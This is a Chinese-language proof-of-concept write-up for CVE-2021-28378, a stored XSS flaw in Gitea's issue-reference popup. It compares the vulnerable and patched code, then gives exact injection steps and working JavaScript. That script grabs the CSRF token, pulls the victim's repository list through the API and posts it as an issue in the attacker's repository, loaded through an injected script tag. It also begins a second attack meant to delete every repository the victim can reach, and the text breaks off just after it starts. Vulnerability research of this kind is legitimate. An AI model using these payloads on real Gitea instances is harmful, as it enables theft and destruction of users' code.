
CVE-2021-28378 的详细概念验证与分析,这是 Gitea 中的一个存储型 XSS 漏洞,可通过 git hooks 实现任意代码注入、权限提升和远程代码执行。
有关此 CVE 的详细信息见此处。
此 CVE 针对的是从服务器获取的内容在客户端缺少字符串转义的问题。 它使攻击者能够通过在 issue 或拉取请求上创建评论,轻松注入任意代码。 该问题是在提交 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 中引入的,时间大约是 2020 年 1 月底,但由于是一次 squash 合并,我们无法准确知道是谁引入了该问题,从而无法调查是否还引入了类似的 bug。
首先,让我们了解这个漏洞的来源。为此,请看修复此 CVE 的提交。
修复前:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
我们可以看到,label.name、issue.repository.full_name、issue.title 和 body 都没有进行 HTML 转义,而这些字符串是用户可以操纵的,因此可以注入任意代码。
注意,issue.repository.full_name 实际上很难被操纵以注入代码,因为它必须遵守太多规则([\w._-]+),我们无法借助此 CVE 绕过。
这正是该 PR 通过将它们转换为 htmlEscape 来修复的内容。
修复后:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
让我们快速看一下文件 web_src/js/features/contextpopup.js,弄清楚如何触发此 CVE。
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
我们在这里看到的是,对于每个带有 ref-issue 类的节点,都会添加一个存在漏洞的弹出框。
现在,我们需要找到 ref-issue 在何处被发送给用户:让我们 grep 一下(只保留有意义的结果,排除测试文件或类似文件)!
下面的提交号对应于 1.12.4 标签,即官方 docker-compose.yml 文件中的默认版本,该版本受此 CVE 影响。
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
我们现在知道没有带 ref-issue 类的静态内容,它是动态生成的。
最后一行并不有趣,因为它只是一个消毒策略规则。其他几行很有趣,我们来看看为什么。
让我们深入 modules/markup/html.go。
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
我们还需要理解 getIssueFullPattern 做了什么。
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
让我们总结一下,理解这里做了哪些工作。
在 fullIssuePatternProcessor 中,首先需要确保 ctx.metas 不是 nil(我们假设它是非 nil 的,因为它是由调用栈中更高级的函数/方法构建的)。
然后我们检查节点数据是否匹配类似于 http://mygitea.com/gituser/myrepo/issues/1 的路径。如果匹配,我们就将其替换为一个链接。
如果该链接指向相同的用户和仓库,则替换为 #<issue_id> 模式,否则替换为 <user>/<repo>#<issue_id>。
在这两种情况下,都会添加 ref-issue 类来生成弹出框。
其他 grep 结果也做了类似的事情。
现在我们有了上下文,即把类似 http://mygitea.com/gituser/myrepo/issues/1 的链接替换为更短的链接,就可以推断出这种替换发生在哪里:在 issue 和 PR 中,你可以在那里添加标签和/或发表评论。
为此,假设你有一个具有写权限的仓库。
转到你的仓库,创建一个名称中包含任意代码的新标签(例如 <script>alert('label.name')</script>)。
转到你的仓库的 issues,创建一个标题和正文中包含任意代码的新 issue,并给它添加上述标签。
在任何仓库上创建一个新 issue,并在其正文中添加指向你注入的 issue 的链接,例如 http://mygitea.com/gituser/myrepo/issues/1。
它会被替换为我们之前看到的链接,当有人将鼠标悬停在该链接上时,任意代码就会运行:会显示一个嵌入 label.name 的弹出框。
CVE-2021-28378 已被证明能够实现任意代码注入。 让我们想象一下攻击者可以做什么。
在 Gitea 上,有一个 CSRF token,它在填写表单和/或调用 API 时验证你的身份,防止诸如嵌入 Gitea iframe 来窃取你的访问权限之类的安全问题。
CSRF token 存储在你的 cookie(_csrf)中,但也存储在用户访问的几乎所有网页(除了诸如 /api/v1/swagger 等少数页面)的某些字段中……包括 issue/PR 网页。
其中包含它的最有趣的字段位于 HTML 页面的公共头部区域中,XPath 始终相同:/html/head/meta[9]。
有了这些数据,我们就可以通过简单地用 JS 获取 CSRF token(代码如下),从任何受我们 payload 影响的用户发送经过身份验证的操作:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。
现在,是时候发挥你的创造力来构建各种攻击了。 请注意,你的操作会受到限制,但也不会太多:
label.name 和 issue.title 必须很短,因此容纳不了太多 payload。不过,你可以注入带有 src 属性的 script,引用任何你想要的脚本;body 的长度不受限制,但弹出框的预览限制了数据预览。如果你希望 payload 被触发,它必须位于开头。不过,你也可以像前面提到的那样使用带有 src 属性的 script。让我们看看你可以构建的一些示例。
想象一下这样的场景:攻击者想要获取你有权访问的所有仓库。这证明该攻击可以破坏你的全部机密性。 此攻击分 3 步完成:
让我们编写一些 JS 代码来实现:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。
现在,攻击者可以评论引用此注入 issue 的 issue/PR,当有人将鼠标悬停在该链接上时,他的所有仓库数据就会被攻击者窃取!
想象一下这样的场景:攻击者想要删除你有权访问的所有仓库。这证明该攻击可以破坏你的全部完整性。 此攻击分 3 步完成:
让我们编写一些 JS 代码来实现:
var AppURL = "http://mygitea.com";